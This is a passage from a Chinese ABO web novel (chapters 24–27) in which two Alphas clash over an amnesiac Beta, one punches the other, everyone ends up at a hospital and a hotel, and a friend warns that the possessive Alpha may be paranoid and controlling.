易感期的Alpha,信息素浓度明显超标,却不情热、没发疯,冷静至极,克制无异。 只带着冰冷的敌意。 ……在招摇显露似的炫耀。 *** 三人齐到客厅,终于坐了下来,得以当面详谈。 在黎白榆的位置分配下,两个Alpha一人坐了一个沙发。 而Beta在中间的双座沙发,将两人远远地隔开了。 李景煦先问起了黎白榆的状况,他看到了青年右臂上的绷带,面上的担心神情不似作假。 他显然已经猜到,黎白榆这段时间肯定出事了。 黎白榆也没再隐瞒,把自己车祸失忆的事告诉了对方。 李景煦皱眉,在确认黎白榆确实身体无碍之后,便将之前的事具体讲明。 黎白榆也终于听到了之前被打断的、后续的事件详情。 就像严野客说的那样,黎白榆突然回国,的确是被家里欺骗。 “你父亲说自己突然重病,需要你回来照看。” 李景煦道。 其实当时还不到斯坦福的暑期假,但黎白榆因为胃不好,之前便已经预先忙碌了许久,准备攒出一段连续假期,好去做一些休息调养。 但因为收到家中消息,黎白榆那本该用来休养的假期,就被匆忙提前,让他直接飞回了国内。 “但我猜,他的实际目的,可能是要骗你去结婚。” 黎父催婚的事已经很久了,李景煦也早就知道。 得知黎父突然的重病消息时,他就提出过陪黎白榆一起回国,却被黎白榆婉拒了。 因为李景煦并没有准备好这么早的假期,而且他当时还在北美的企业忙碌实习。 “我起初真的以为你在照顾生病的家人,因此无法及时回复消息。我才没有一直追问,怕打扰到你。” 李景煦解释,他之前和黎白榆两人一直习惯在iMessage交流。 这其实是李景煦的习惯,因此上面无论发图、标注还是备份文件都很方便。 因此一开始,李景煦就没有在微信上额外追问。 但后来,黎白榆连最开始那种断续的零星回复都没有了,消息也一直未读。 李景煦察觉他失联太久,担心黎白榆出了什么事,或者手机被他人拿走,就还是请假,飞回了国内。 “但我去的是港城。” 黎白榆现在的家在港城,之前假期回国都会在此处居住。 “结果一直没能找到你。” 甚至黎家的其他人,也完全没有消息。 即使打探,也只听说他们家小儿子中考结束,一家人出国旅游去了。 李景煦只确认了黎父病重的消息是假,却始终没能获知黎白榆的现状。 再联想之前催婚一事,李景煦不由更加担心,怕黎白榆会被家人强行逼去结婚。 “直到最近,我从同学那里得知,你发了朋友圈,说手机丢了。我去微信找你,才发现自己被拉黑了。” 也发现,自己之前努力的方向完全偏了。 黎白榆根本就不在港城——他居然在粤城。 闻言,黎白榆也轻轻摇头:“抱歉……我不记得拉黑你的事。” 李景煦深深吸了口气:“我知道,这不是你做的。” 说着,他还将目光转向。 看向了桌几对面,另一个沙发上所坐的Alpha。 黎白榆也跟着看了一眼。 他意外发现。 尽管一旁严野客的神色漠然,并未开口,只冷淡地听着,也始终没有向对面看过一眼。 仿佛对李景煦毫无兴趣。 但李景煦对严野客,却似乎非常戒备。 闻不到任何信息素的Beta,在此时尚属平稳的氛围中,也没能在表层之下,察觉到一分一毫的暗流涌动。 他只看到李景煦以近乎质问的严厉语气,对严野客问。 “所以严大少,你为什么把白榆单独带到粤城,还谎称是他的男朋友?” 听到这里,黎白榆还不由分出了一丝心神,在考虑。 话说起来……严野客说是自己男友的这件事,李景煦是怎么知道的? 青年想着,下意识看向了严野客。 而原本一直冷漠无波的Alpha,在黎白榆的目光落过来后,才终于开口。 “为了保护,照看你养伤。” 严野客的话也是对着黎白榆说的。 解释完之后,男人才更冷淡无澜,仿若纡尊降贵般对李景煦反问。 “就是男朋友,哪里不对?” “哪里对?!” 一直保持着教养的李景煦明显被他的口吻所气到。 “我才是白榆的男友!” “男友。” 严野客缓缓把这两个字重复了一遍,冷笑。 “你就是真的?” 他一向是个喜怒不形于色的人,此时的冷笑,却有一种远超平日的情绪浮现。 惊涛波澜,极其罕见。 那种情绪也与平日的漠淡截然相反,格外浓郁。 透着压抑扑面的威慑感。 “……?” 一旁的黎白榆听得微怔。 这话……是什么意思? 难道不是真的? 但当黎白榆看向李景煦,却发现对方的面上怒意鲜明,身形紧绷。 唯独没有出言否认。 所以,李景煦也不是自己的真男友吗? 今日一天,接二连三。从严野客的男友身份被揭穿,到“真男友”找来,再到李景煦也被否认是真。 这些事听起来似乎有些过于戏剧,波折反转太多了一点。 但其实,黎白榆自己也觉得。 现在这种答案才最合理。 因为以黎白榆的性格,更可能他失忆前后并非截然相反,都是一以贯之。 那以他现在的心理去推算,自己失忆前会谈恋爱的可能性,其实也不大。 就像之前黎白榆便发现。 自己对李景煦并没有特别的亲近感。 黎白榆也记得,衣明诀和他说过。 三个月前,自己谈恋爱时,联合课题组的同学们都非常意外,觉得事情很突然。 所以那个时间,自己为什么要有一个假称的男友? 这也和家里的催婚有关吗? 黎白榆还在认真思考,深入地分析。 却见一旁的李景煦似乎动作颇慢地看了他一眼,深缓地吸了口气。 “但我们的同学,同乡,老师都知道。” 李景煦直视着严野客,字字清晰。 “——我是白榆承认的男朋友。” 桌几对面,严野客却和方才一样,并未抬眼去看李景煦。 但这一次,却不是之前那般的漠视。 而是更极寒的冰冷。 单人沙发椅上,气息霜然的男人缓缓微眯起了眼睛。 他没去看人,是因为怕在Beta前面,再多看李景煦一眼。 ——会真的藏不住,那想要真正动手的冷腥杀意。 第 25 章 025 李景煦的话说完, 良久,严野客都没有开口回应。 室内不由陷入了一片凝滞般的沉寂。 几秒之后,还是黎白榆先开口, 打破了僵局。 他问严野客:“你刚刚说的保护,是什么意思?” 有关男友真假究竟的问题,一方面,黎白榆的性格本身就不善于把自己的情感关系拿来公开剖析。 另一方面, 他也不希望两个Alpha真的继续针锋相对下去。 不管怎么说, 黎白榆还是觉得。 同为男性的Alpha和Beta是无法走到一起的。 这一点来讲, 无论严野客还是李景煦,结果都只会是一样。 黎白榆此时更关注的, 反而是严野客刚刚说过的“保护”。 为什么要保护, 难道现在还有什么风险么? 对生父催婚的事, 黎白榆虽然没想起,但也没有对此生出任何的违和感。 显然,潜意识里他觉得,这种事对方绝对做得出来。 而黎白榆现在对这种事也没有了分毫的情感波动——就像他对自己“亲人”的感觉一样。 平静,寡淡, 毫无波澜。 不知这是否也和情感丧失有关, 总之眼下, 黎白榆对他们并没有什么所谓血脉相连的亲近感。 但黎父现在为什么不催了,连消息都没再给自己发? 他们是否已经改变了主意, 真的会善罢甘休吗? 男友, 催婚, 车祸,离港,消失的家人。 这些突然被揭开的事情其实颇为繁杂, 信息量堪称巨大,但黎白榆并没有被绕得思路混乱、模糊不清。 相反,就像在学校里做实验一样,黎白榆冷静明了,井井有条,很快梳理出了事件脉络和思维主线。 并且开始询问重点。 他记得,自己右臂上的伤痕还没有得到解释。 黎白榆看向严野客,就见男人缓缓抬眸,也望向了他。 刚才讲解的人是李景煦,他对黎白榆回国后的经历和右臂割伤肯定是不知情的,这些都需要严野客来解答。 但此时,黎白榆其实有一种预感。 比起被打断前的方才,严野客现在可能反而不会讲明。 因为听严野客的话,似乎他觉得这些事有可能惹得黎白榆不舒服。 所以严野客大概率不会在李景煦面前提起。 ——他可能并不想让黎白榆的事,被别人所知。 而眉眼冷然的Alpha看着他,果然也仅仅只道。 “你胃不好,小姨拜托我照看你,保护好你的胃。” 李景煦狐疑:“小姨是谁?” 黎白榆解释:“是我小导。” 严野客冷漠:“和你有关系么。” 黎白榆和严野客的话几乎是同时响起的。 李景煦听了解答,还被噎了一下,本就盯着严野客的目光此时更难藏不悦。 “所以你说的保护,就是以囚禁的方式吗?” 说到“囚禁”两个字,李景煦加重语气,更握紧了拳。 “单独买下了这栋别墅,还租下了四周一圈的所有邻户。让别墅成为一座孤岛,无人能回应,又加高了围墙,让保镖在外围二十四小时守卫。” “守卫什么?是怕外面的人闯进来,还是怕里面的人会想出去?” 李景煦质问着,近乎切齿。 “你所谓的保护,白榆有不接受的自由吗?” ……? 黎白榆听得惊讶。 他下意识地看向身侧。 而这一次,没否认的人成了严野客。 Beta这时才发觉自己的迟钝,之前居然完全没有察觉这些迹象。 所以,时好时坏的门锁也是……举措之一吗? 而严野客依然望着他,并没有躲避黎白榆的目光,此时也只在对他一个人解释。 “我家一直这样。” “安全意识比较强。” “……” 黎白榆仍在思索。 因为他在回想,这些天来,Alpha似乎也的确从未强行违背过他的意愿。 但这话让李景煦听见,却只觉得严野客是在狡辩。 “这哪里是安全?分明是胁迫!” 李景煦早听闻过严家大少的名声,这次亲眼所见,更清楚了解了对方的本性。 要知道,只是严野客对黎家的处理,就足以让人心惊。 黎父好歹也是产值规模上亿的一方富商,此时人却突然失踪,没有一点动静。 李景煦之前在港城打探到的各路消息,都说黎家人一同出国游玩。 可是查探至今,他却只见过一张黎家小儿子在国外的旅行照片。 黎父和黎爸爸到底有没有出行?他们现在情况如何? 这些都无从知晓。 白榆现在人没有大碍,也没有再被强行逼婚,这的确让李景煦松了口气。 可是一想到这究竟是谁经手处理、用的何种手段——却又很难不让人毛骨悚然。 所以哪怕现在,对面的严野客看起来非常冷静,也没有让李景煦的警惕有丝毫放松。 甚至于在浓度过高的Alpha信息素之下,李景煦已经本能地释放出了自己的信息素。 来减缓对方不知有心无心、但总归是恶意所造成的信息素威迫。 室内的气息冰冷僵滞,敌对的场景其实早已分明。 任何人在这里,只要呼吸一下,就能清楚察觉此时的局面—— 可惜唯一坐在这里,安稳呼吸着的Beta。 却对此一无所察。 而被李景煦如此质问,严野客却冷漠依旧,连眼皮都没有掀一下。 “我不认为这种事,外人有资格多嘴。” 李景煦简直难以理解,他为什么能这么理直气壮、混不讲理。 “你就不是外人?” 这回,严野客终于被问到了一个有价值的问题。 他看着黎白榆,眸光终于微不可察地缓和了一分。 “我是内人。” “………?!” 李景煦直接被他的寡廉鲜耻给震惊了。 “咳、咳……!” 坐在中间的黎白榆也不由得闷咳了起来。 他这回是真的被严野客的话给呛到了。 严野客皱眉,伸手拿过了一旁饮水机保温座上的玻璃杯,将温水杯递给Beta。 “怎么了?顺一下。” 他居然还是认真在问,“怎么了”。 似乎完全没察觉是自己造成的问题。 而一旁的李景煦深深吸气,看着掩唇顺气、呛咳到眼梢微微飘红的黎白榆,终于也无法再继续忍受下去。 他直接撑臂起身,对Beta说。 “白榆,跟我走,我们离开这里。” 李景煦抬眼看向严野客,神情肃色至极。 “严先生,我也不认为你这种状态,还适合游荡在外。” “你现在易感期,应该被严格隔离,避免给他人造成困扰和伤害。” 啜饮过温水之后,终于缓了口气的黎白榆也抬头看向了说话的Alpha。 而被警告的严野客却依然没看他,像是连一个眼神都欠奉,只低声在专注地询问黎白榆。 “接下来的假期,你打算怎么安排?” “在粤城多玩几天,吃点好吃的,还是想提前一些回学校?” 严野客还建议。 “养胃的话,在粤城会更方便一些。” 他这时候的语气和神情都还很平静,一点都看不出身在易感期。 ——还是个十成十的疯批。 但对深知严野客本性的人,却只会因此而如临大敌,更加警惕。 而许久没有插话的黎白榆,方才也确实在考虑接下来要怎么办。 他现在谁都不可能全信,当务之急,还是需要把面前这两位Alpha进行隔离。 感觉让他们同时在场,不可能再问出什么东西。 黎白榆还有些疑惑,需要向两人分别询问出答案。 想着,青年慢慢放下水杯,直身站起。 他说:“我想先出去。” 黎白榆准备去外面找宾馆住一晚,让两个Alpha都先各自冷静一下。 今晚可能已经不太适合聊天,严野客还在易感期,李景煦也刚从港城过来,长途奔波。 他们都需要休息。 不如等明天,再约个时间详谈——黎白榆是准备这么说的。 但他没有留意,自己刚才的话,却在另外两人耳中被听出了不同于本意的含义。 ——Beta想出去。 摆脱这里。 李景煦像是早有所料,抬手就想把黎白榆护到自己的身后。 而另一面,严野客的神色也瞬间沉冷了下来。 李景煦对他早有戒备,释放出的信息素也不只是像最初那样在防御,而是浓到透出了一种清晰的威慑和警告。 两个Alpha的信息素有一瞬直白的交锋,对抗的敌意尤为鲜明。 严野客的目光终于斜睨到了李景煦的脸上,看人的神情森然而冰冷。 两个Alpha高浓度的信息素对峙,其实从刚坐下交谈不久,就已经开始了。 直到此刻——终于再无遮藏,剑拔弩张。 只是身为在场唯一旁观者的黎白榆,却信息素失嗅。 对此毫不知情。 甚至就连之前会提醒信息素浓度过高的室内温度计,都在前两天,被身处易感期的严野客以太吵为理由,直接静了音。 因此现在,即使温度表上的提示灯已然红到长亮如血。 却依然没能被人发现察觉。 而在瞥见严野客的冷厉神情时,李景煦已经一步上前,挡在了Beta的身前。 他不能让白榆被这个疯A伤到。 在动作的同时,李景煦还下意识地用自己的信息素,包围住了黎白榆。 这是一种Alpha的保护。 在满屋子的高浓度信息素中,撑出一片独立的、安全的区域,用来防止Beta受到过量的冲击。 李景煦的目的非常明确。 而他的行动,却也是用自己的信息素,将黎白榆整个人圈拢了进去。 “今晚还是——” 这边,黎白榆刚要解释,就见眼前一暗,视野比李景煦挡住。 但他还没来得及惊讶,就看到了更突然的一幕。 “砰!!” 严野客突然动手,却根本没去推开挡路的李景煦,而是直接抬手,一拳重重地砸在了对方脸上。 一声令人牙酸的重响之后,李景煦连痛哼都没发出,就被揪住衣领,无可避免地被拽了回去。 ——然后又是更狠的一下,被痛击了腹部。 严野客的下手非常狠厉,是门外汉都能一眼看出的娴熟有力,砸在李景煦身上的力度也都带着结实沉闷的着肉声。 这一幕突如其来的发展,让黎白榆惊目愕然。 他惊问严野客。 “你做什么?!为什么突然打人?” 李景煦的身形也很高大,绝不算单薄,但他第一下被严野客砸中,又被拎住衣襟掀翻在了单人沙发上,应对起来就很难用反击之力。 更何况,只消看一眼就能知。 他的身手和力气,也明显不是严野客的对手。 两个Alpha在单人沙发和茶几中间狭窄的空间里搏斗起来——或者说,是李景煦单方面地被严野客压着揍。 虽然站在后面的黎白榆完全没有被两个突然打起来的Alpha波及,但他还是下意识地伸手,上前阻拦。 黎白榆已经顾不上别的,原本,以他的力气也应该是很难起作用的。 甚至可能只有被误伤的份。 但被他从身后抱住腰背的严野客,居然还真的停了手。 被黎白榆勉强给拉开了。 黎白榆抱住人的第一秒,就发觉此时的Alpha依然还处在易感期。 他其实一点都没有缓和,体温依然非常冰。 ——简直让人难以想象,方才男人那些沉默平静的举止,是怎样维持的。 可现在的Alpha,却绝对和平静再无关系。 严野客冷冷地盯着倒在沙发上的李景煦,这时才终于开口,用微哑的声音,回答了黎白榆的问题。 “他乱放信息素,熏到你了。” 所以被自己给揍了。 “…………” 黎白榆简直以为自己听错了。 被信息素熏到?? ……这件事我自己知道吗? 严野客冷睨了李景煦最后一眼,回身看向黎白榆。 他的胸口微微起伏,目光落向Beta的手臂。 “你的手没事吧?” 刚才李景煦一步上前,不只用信息素围笼住了Beta,在把人挡到身后时,还在匆忙间不小心擦刮到了黎白榆仍裹着绷带的手臂。 青年当时右手反射性地微微后撤了一下,李景煦没察觉。 严野客却看见了。 Alpha的气息仍旧冷厉,神情也非常不虞。 但听了他解释的黎白榆依然觉得难以理喻,还没能从这场突然的风波中平复下心绪。 严野客又不是不知道—— “我根本闻不到信息素!” 他说完,就看见男人闭了闭眼。 那双依然戴着瞳片的双眸,此时却隐约有腥艳的血色翻涌。 黎白榆不是第一次看到严野客瞳片后的虹膜原色了,而每一次似乎也都预示着一场风波的来临。 刚刚动过手的Alpha,此时颈侧的青筋都还在一下一下鲜明地搏跳着。 虽然人被成功拉开,周身看起来却依然煞气极凶,威压太重。 严野客睁眼,他的银丝眼镜因为刚刚动手太凶,已经被甩到一旁,他却也根本没有去捡。 男人反而朝着Beta,一步向前。 没了镜架遮挡的Alpha,愈发显得森然,强硬,冷冰。 被砸到沙发里的另一个Alpha甚至现在还没能起身,黎白榆眼看男人走近,几乎是下意识地,后退了半步。 但他还侧身站着,身后就是长座沙发,空间紧窄,已然无处可去。 身前来人的逼近未停,黎白榆的身体本能地微微紧绷,却被一点凉意圈揽住了腰侧。 刚打完人的悍冷Alpha伸手。 将他抱住了。 男人缓缓地圈抱着他,力度并不重,不会让人痛。 反而更像是昵近的相拥。 Alpha还微微垂头,用侧脸贴住了青年温热的颈侧。 黎白榆听见埋在自己颈间的人开口,用沙哑的低声叫他。 “白榆……” 那沉凉的嗓音中,居然还透着一分微许的疲弱。 “我眼睛疼。” 第 26 章 026 ……眼睛疼? 黎白榆蹙眉, 双手也不由扶住了面前Alpha的肩背。 “你刚刚伤到眼睛了?” 黎白榆自然看到了严野客的眼镜不在,他还心道。 难怪对方的眼睛会从瞳片之下透出血色。 “哪边不舒服?让我看一下。” Beta真的信了严野客的话,还被面前挡得严严实实的男人吸引了注意力, 想去查看对方的状况。 直到一旁传来李景煦沉闷的嘶痛声,黎白榆才身形一顿。 “先去医院。” 他补充。 “你们俩都得去。” 现在再一味责备率先动手的男人也没了意义,当务之急还是得确保他们的安全。 这两个病号Alpha,还一个伤得比一个触目惊心。 黎白榆刚把严野客掉在沙发扶手上的眼镜递给他, 就见还用手掌捂着脸的李景煦从指缝中开始渗血, 看着颇为骇人。 “天啊……这么多血……!” 黎白榆匆忙拿纸巾去帮忙擦, 身后的严野客见状冷脸,也冷言。 “只是鼻血。” 他这时候说话, 还让人听着感觉他似乎很有分寸, 知道自己下手的力度会造成什么样的结果。 黎白榆深叹了口气。 明明这人刚刚才最没分寸地打了人。 “你先到那边坐下。眼睛疼不可以乱动。” Beta又把两个Alpha给远远地隔离开了。 黎白榆还用严野客的手机先叫了出租, 又去检查了一下李景煦的状况。 方才动手时的第一拳似乎正中了李景煦的鼻梁,让Alpha现在仍然鼻酸。 滴答的鲜血慢慢从他的掌根淌下来,李景煦此时都还无法说话,只用另一只手捂着腹部靠在沙发椅上,整个人看起来都有些虚弱。 黎白榆帮他擦血时还发觉, 李景煦的体温有些偏高。 他是不是因为今天来时在外面淋雨, 发了烧? 黎白榆其实之前就有怀疑, 因为李景煦的面容不时会有些发红。 虽说可能是因为生气,但此时对方的情况却虚弱得更明显。 ——这也能解释为什么, 刚才同为Alpha的李景煦在被打时, 却根本没有丁点还手之力。 好在李景煦的脸上除了微红的鼻梁, 就没有了其他的外伤。 黎白榆帮人擦净鼻血,便伸手要去扶他,想帮李景煦站起来, 好出门去医院。 但黎白榆才刚要碰到人,却被身后伸来的手掌圈握住了上臂。 不知何时起身过来的严野客直接拦住了他。 “你手上有伤,不能扶他。” 听见近在耳后的声音,黎白榆下意识地微绷了一瞬,回头看人。 眼见严野客并没有要再度动手的意思,黎白榆才终于稍稍安了点心。 “我会注意的,”Beta说,还不忘叮嘱,“你眼睛不好,还是先不要走动。” 严野客却并没有放开手,反而将另一只手也伸过来,探到了黎白榆的腿侧。 “?” 微凉的触碰感在腿旁一滑而过,黎白榆低头,就见严野客探手,将自己刚才没地方放、顺手插进口袋里的手机拿了过去。 Alpha拿过自己的手机,拨了个简短的电话。 没一会儿,就有一个人高马大、面容凶悍的壮汉走了进来。 只从外表,也能轻易看出来人的职业。 去帮人开门的黎白榆看向还是跟了过来的严野客。 “所以,真的有保镖?” 他想起了刚才李景煦说的,别墅周边过分严密的安保措施。 但戴回了眼镜的严野客低眸看他,却道。 “这是李景煦的保镖。” 黎白榆微怔:“李……?” “他这人就不是什么好A。” 严野客冷漠。 “深夜擅闯别人的家,还带这么多手下。” “……” 黎白榆从他这不算客观的批判中读懂了实情。 “你们俩的保镖都在外面?不然他一个人也进不来。” 壮汉果然是李景煦的保镖,一来看到雇主的情况就给吓了一跳,连忙上前去把人扶了起来。 这回倒是方便了,叫来的出租刚好也到了门口,将几人一同送去了相隔不远的第一医院。 简单的检查过后,李景煦的情况果然如黎白榆所想。 他是多日奔波,过度劳累,再加上意外着凉,因此导致了发烧。 由于还检查出了一些炎症,急诊给开了点滴,李景煦今晚就要输液。 他的伤也被简单处理了一下,好在鼻血已经止住了,微肿的鼻梁上被横着贴了个一字绷带。 打上吊瓶之后,李景煦的情况也明显有好转,不再是之前那种连话都难说的模样。 他还主动安慰黎白榆。 “没事,我已经好多了。” 黎白榆垂眸:“嗯,先把病养好。” 停了一秒,青年才又道:“想处理后续的话,可以等输完液再聊。” 李景煦反而笑了笑。 虽然笑容牵扯到脸上的伤,让他忍不住痛嘶一声,咧了咧嘴角。 “真的没事,我知道,我主要是因为发烧。” 严大少虽然很气人,但自己这点伤确实不算什么。 李景煦也能感觉到,对方没有真的下黑手,还避开了关节和内脏。 之后的赔偿或谈判,那都是他们俩的事了,和白榆无关。 比起刚才这场打架,李景煦更在意的,反而是担心黎白榆会继续再被严野客强行关着。 现在他们得以外出离开,也算是变相达成了自己的目的。 只是Beta的神情,并没有立刻舒展。 他抿了抿唇,道。 “抱歉,这些天是我的原因,害你奔波了这么久。” “哪能这么说?” 李景煦却不赞同。 “那你之前还帮我那么多,我都没来得及谢你。” 说着,他爽利地笑了一下,还握拳弯起手臂,展示了一下自己的肱二头肌。 “没问题,就一点小感冒,你看,哥这么强壮,肯定很快恢复健康。” 李景煦在急诊这边挂水的时候,严野客并不在。 一到医院,他就被黎白榆催着先去检查眼睛了。 而黎白榆出于愧疚,也因为要照看,就先陪在了李景煦这边。 严野客回来的时候,第一眼看到的,就是李景煦这么偏头和黎白榆说笑的模样。 “……” 再想到自己被打发去一个人看眼睛,严大少的表情更为不爽。 在这盛夏的门诊厅,都幽幽弥散开了一阵凛然的凉意。 李景煦先察觉到了严野客的到来,毕竟对方即使带了隔离贴,那股冰冷的信息素气味依然挺明显。 黎白榆慢了一拍,不过等他看到严野客时,就立刻起身迎了过去。 “情况怎么样?” 严野客的保镖并没有跟来,黎白榆刚才是想请个护工陪严野客去看的,毕竟对方受伤的是眼睛。 但严野客拒绝了。 现在看到Alpha过来,表情又不太好看,黎白榆以为他的眼睛还在疼,不由有些担心。 “问题严重吗?” 面前的男人却道。 “我没事。” 严野客扬了扬下颌,朝李景煦一示意,神情冷淡。 “他也根本没什么伤,只是故意装可怜,骗取你的同情心。” 一旁的李景煦:“???” 他忍不住脱口道:“装可怜的是谁啊?!” 之前那句“我眼睛疼”是哪个A说的,当他没听到吗? 这人怎么还倒打一耙的? 李景煦一口气没换上来,差点又有些眼前发晕。 黎白榆见状,匆忙先把严野客给推走了。 他拉着严野客去了拐角,仔细将人打量了一下,见Alpha的眉眼外表确实没什么异样,才问。 “费用总共多少?” 刚才门诊开的眼部检查,和李景煦的点滴费用单,都被严野客一起拿走了。 等黎白榆短暂忙完,才发觉自己慢了一步。 严野客却没回答他,只说:“我已经交过了。” Alpha还有更严肃的事,要同黎白榆讲。 “我说真的。” 严野客的神情肃色,一本正经。 “李景煦确实没什么伤,但他身为一个Alpha,淋了点雨就生病,这说明他真的很弱鸡。” 黎白榆:“……” 他吸了口气,又听见严野客继续道。 “你闻不到,所以不清楚,他的信息素也很虚。” Alpha的信息素浓度的确与自身的身体素质有关,一般需要刻意释放,才能被旁人闻到。 但信息素的大量释放不仅会透支腺体,还会导致躯体疲惫,类似肌肉过度发力后的酸涩无力。 所以从某种程度上来说,信息素浓度不足,的确可以用“虚”这个词来审判。 “我没有当着他的面拆穿。”严野客还道,“这不是诬陷。” “是你需要认真考虑,”男人说得正色岸然,“他不行。” “更不适合做你的男友。” “…………” 黎白榆缓缓地吐出口气,抬手,有些无奈。 “给我看一下你刚才的检查单。” 对眼前这位一谈到“男友”话就会变多的Alpha,黎白榆只能先转开话题。 好在严野客的眼睛的确没什么大碍,他才终于松了口气。 等到李景煦输完液,天色已经很晚了。 三甲医院的急诊室常年满员,眼下也不可能有现成的空缺床位。 三人都需要离院,回去休息。 那边李景煦还在拔针时,严野客已经微微低头,问黎白榆。 “我们先回去?他可以住宾馆。” 李景煦警惕地看过来,严野客却视如不见。 他还公道地表示。 “这边找宾馆很方便。” 黎白榆轻轻摇了摇头:“你先回去吧。” “我今晚也住宾馆。” 在没梳理清实情之前,他暂时不想和别人同住。 李景煦再看严野客的目光就有点冷嘲,看着刚说了“宾馆方便”的人搬起石头砸自己的脚。 但出乎李景煦的意料,严野客神情丝毫未变,语气依旧淡然。 “好,我也去。房费我出。” 他道:“事情毕竟是因我而起。” 李景煦:……真行,这时候又开始讲理了? 医院附近的宾馆的确很多,严野客直接定位了一个最贵的。 “便宜的不一定有空房。”他表示。 这座高价酒店的确还有现房,不过,在听说三位客人要分别开三个房间时,前台也有些难办。 “不好意思,客人,我们现在没有这么多空余的单人房了。” 前台看了看三位的性别,委婉地提议道。 “请问开一间单人房,一间双人房可以吗?” 严野客和李景煦几乎是异口同声。 “不行。” “不行!” 黎白榆忍不住揉了揉眉心。 他对着被吓了一跳的前台,放缓了声音,问:“请问双人房还有几间?” 最后,三个人开了三间双人房。 因为单人房和双人房不在同一楼层。 进到房间,简单洗漱后,终于可以短暂地休歇一会儿。 黎白榆也是这时,才有空去回复衣明诀的消息。 他送两个Alpha去医院时,才想起回卧室去拿自己的手机。 一眼看到手机上那么多衣明诀的未接来电,把黎白榆都吓了一跳。 当时太匆忙,黎白榆只和衣明诀说了一句自己没事,但现下有意外,等会再细聊。 此刻坐在柔软的酒店床上,黎白榆才刚刚抽出了时间。 他看到了衣明诀发来的文字消息,对方讲的,正是那个处方单的消息。 药物使用者的名字已经被辨认出来了,并不是黎白榆猜测的自己。 而是严野客。 虽然黎白榆已经知道了事实并非是自己强迫,但他依然有疑惑。 不是有AO禁用的海立芬么,为什么Alpha能吃这种药? 他把消息发给衣明诀,没多久,对方的电话就打了过来。 “我也不知道为什么,可能这个药是在北美那六个不禁用的州开的,或者是在国内和欧盟以外的国家开的。” 衣明诀说。 “我查了,这个药在南美、北非、中东,和几个西欧国家,确实是不设限的。” 衣明诀更关注的是,却另一个重点。 “所以,白榆,你身边真的有这样一个非常偏执、情绪状况不稳定的Alpha吗?” 黎白榆曲起食指,抹了抹唇,没有立刻回答。 严野客他……算是偏执、不稳定吗? “还有个问题,”衣明诀还道,“因为今天打电话,一直没找到你,我还拜托商学院在读的高中同学,帮我去问了一下你那个男朋友的联系方式。” Omega顿了一秒,才道。 “可是我同学说,商学院的留学生里——根本没有叫严野客的Alpha。” “他是不是骗了你?” 黎白榆顿了顿。 严野客不在斯坦福的商学院就读? 那他是…… “而且我同学还说,他知道你,”衣明诀道,“也知道他们院有个学长,和生物所那个特别漂亮的Beta谈恋爱了。” “他说那位Alpha学长,就是你的男朋友,名字叫李景煦才对。” 饶是听惯了四院八所各路八卦的衣明诀,这时也有点蒙圈了。 “这是怎么回事?” “……” 黎白榆慢慢地呼了口气。 “有点复杂,”他说,“因为回国之后,我忘了一些事情。” 黎白榆本来就不是很擅长语言表达,他便挑了些重点,把自己忘记了男友的事,大体解释了一下。 听完,衣明诀更吃惊了。 “所以,这个严野客又是什么人?” 哪怕听到这人是黎白榆老师的外甥,衣明诀也没有消除多少戒心。 “你问过他了吗,他和你究竟是什么关系,为什么要假扮你的男友?” 黎白榆慢缓地揉了揉脸。 ……自己好像还真问过。 “他说,”Beta顿了顿,才道,“他和我是真爱。” “………哈?!” 电话那边,衣明诀深深吸了口气。 “白榆,你把他送我这儿来吧,地址精神病理研究所。” “什么真爱?!这就是变态!” Omega猛地一下握拳拍桌。 “——发来!!” 第 27 章 027 黎白榆也有些无奈。 毕竟, 他不可能真的去相信什么所谓的“真爱”。 好不容易将“邦邦”敲桌的Omega安抚下来,黎白榆略一思忖,又道:“我还在考虑一个问题。” “如果这盒药不是开给我的, 那它为什么被放在我的柜子里?” 衣明诀也注意到了:“你确定那是你的柜子吗?” “白榆,当时你说,我就觉得有点疑惑。钢笔、会场证件……这些东西都不急需,也不日用, 干嘛非得从北美专程带回家里去?” 黎白榆之前以为这些用品可能是留存下来, 做纪念意义。 但是真要说起来, 他为什么会把东西保存在别人的房子里? “那些到底是你自己存放的,还是说, 都是这个叫严野客的Alpha患者私下搜集的, 全部和你有关的东西?” “他是不是在背地里偷偷视.奸你啊……现在不会也正在吧?” 衣明诀越说, 越把自己都有点骇到了。 “你要不要先查查你周围有没有摄像头?” “没事的,”黎白榆安慰道,“我今晚没住在那边。” 衣明诀把严野客当成了变态,自然会把他的行为往更疯狂的方面想。 不过黎白榆这么多天来接触严野客,只觉得以对方性格, 他还是有底线的。 “这些事, 我都会去向他问清楚。” Omega还有些怀疑:“他会说实话吗?” “我看过挺多临床案例, 尤其他还是个年轻气盛的Alpha,”衣明诀说, “这种人往往自我意识非常强盛, 常会用自己的逻辑影响别人。” “哪怕他可能都不是有意的, 但还是能强烈地干涉、诱导、掌控别人的思路。” 这就是很多重度偏执症患者,哪怕没有暴力行径,也会影响到身边人的原因。 黎白榆也想到了严野客说的话, 譬如他觉得自己被黎白榆嫌厌抛弃,还把生病的李景煦比喻成弱鸡。 听起来,Alpha确实是很有自己的独特逻辑。 不过,黎白榆还是道:“我试试。” 黎白榆自己的思路,也不太容易会被带偏。 “那你尽量别和他单独待在不易离开的封闭空间,随时注意保护自己的安全。” 衣明诀依然带着点忧心忡忡。 他相信对方的能力,但这也和他会担心白榆并不冲突。 时差缘故,衣明诀知道黎白榆这边很晚了,也没过多耽搁,聊完这些,便让人先好好休息。 “有什么消息一定再和我联络!” “好。” 黎白榆应下他,才挂了通话。 黎白榆又翻了翻消息列表,把没及时回复的信息处理了一下。 他还看到了蔺空山发来的消息。 之前黎白榆问起李景煦的事,蔺空山后来回复,说并不认识这个人。 倒是对严野客,蔺空山说,他和这人之前有过合作。 严野客玩机车,在欧洲组建了一支摩托车队,叫朱红。之前蔺空山的公司去西欧办展,就曾经邀请过朱红车队去参加开幕。 对严野客,蔺空山的评价还算不错。 他对这个Alpha的印象也和黎白榆很像,说这人面冷,严肃,稳重,业务能力很强,合作过程也很顺利。 “我们在慕尼黑见面那次,你不是和我去过朱红车队么?” 蔺空山和他聊时说。 “不过好像就是那次,严队不在现场,你没有见到他。” 黎白榆确实至今都对严野客没有过往的印象,所以才会问对方,两人之前是什么关系。 现在听衣明诀说,严野客连学校都不是斯坦福,他更觉得,在自己失忆前,两人可能交集并不多。 就连蔺空山都认为,之前黎白榆和他不认识。 而蔺空山今晚发来消息,就是在问黎白榆是不是遇到了什么事。 蔺空山本人也非常敏锐,之前聊到李景煦和严野客时,就问过黎白榆怎么了。 